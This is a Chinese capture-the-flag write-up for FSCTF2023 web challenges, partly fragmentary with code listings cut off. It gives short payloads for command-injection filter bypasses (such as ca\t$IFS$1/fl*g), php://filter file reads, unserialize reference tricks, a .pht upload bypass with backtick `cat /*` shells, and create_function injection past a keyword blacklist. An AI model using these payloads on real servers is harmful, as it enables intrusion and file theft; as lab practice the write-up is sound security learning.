打开题目,发现右键被禁了
直接ctrl+u查看源码得到flag

源码
php中变量与变量之间用点号连接表示拼接
题目拼接结果为passthru
那么我们直接ls / 
得到flag

简单的命令执行绕过
payload
?hongzh0=;ca\t$IFS$1/fl*g
得到flag

源码
分析一下,就是简单的MD5绕过和php解析特性
得到hint
访问./L0vey0U.php
exp
得到第二个hint
访问./P0int.php
a = file_get_contents("php://filter/read=convert.base64-encode/resource=g0t_f1ag.php");
}
public function __destruct()
{
echo $this->b;
}
}
@unserialize($_POST['data']);
?>
非常简单的变量引用
exp如下
b=&$C->a;
echo serialize($C);

解码得到flag

简单的命令注入,用分号隔断命令
1;ls

反斜杠绕过和星号绕过
1;ca\t f*

源码
". $word);
}else{
highlight_file(__FILE__);
}
简单分析下,eval函数中已经闭合前面?>,那么我们要自己输入php的头,由于问号被过滤了
这里用secript(文件上传做的多会很快想到),然后就是一些常规过滤,用%09代替空格,反斜杠绕过关键字检测
?word=
得到flag

前面按照要求来修改
然后试试目录穿越,查看用户信息
想尝试直接读,发现有报错,且为include函数

直接php伪协议读取

解码得到flag

考点:文件头BM绕过,pht后缀绕过
打开题目,提示上传php文件

直接上传一句话木马,发现不行
修改MIME还是不行
经过测试,.pht后缀可以
然后是添加文件头
提示不能有php
把php改为等于号
提示长度过长
这里有好几种payload,如下
payload1
BM=`nl /*`;
注:nl命令读取根目录下所有文件
payload2
BM=`cat /*`;
payload3
GIF=`cat /*`;
访问得到flag

考点:create_function命令执行
源码如下
param1;
$b=$this->param2;
if(preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\*|\||\<|\"|\'|\=|\?|sou|\.|log|scan|chr|local|sess|b2|id|show|cont|high|reverse|flip|rand|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|y2f/i', $this->param2)) {
die('this param is error!');
} else {
$a('', $b);
}
}
}
if (!isset($_GET['file'])){
show_source('index.php');
echo "Hi!Welcome to FSCTF2023!";
}
else{
$file=base64_decode($_GET['file']);
unserialize($file); }
?>
Hi!Welcome to FSCTF2023!
反序列化用base64编码绕过,然后就是简单的过滤关键字,利用create_function内部执行eval函数
exp如下
得到flag
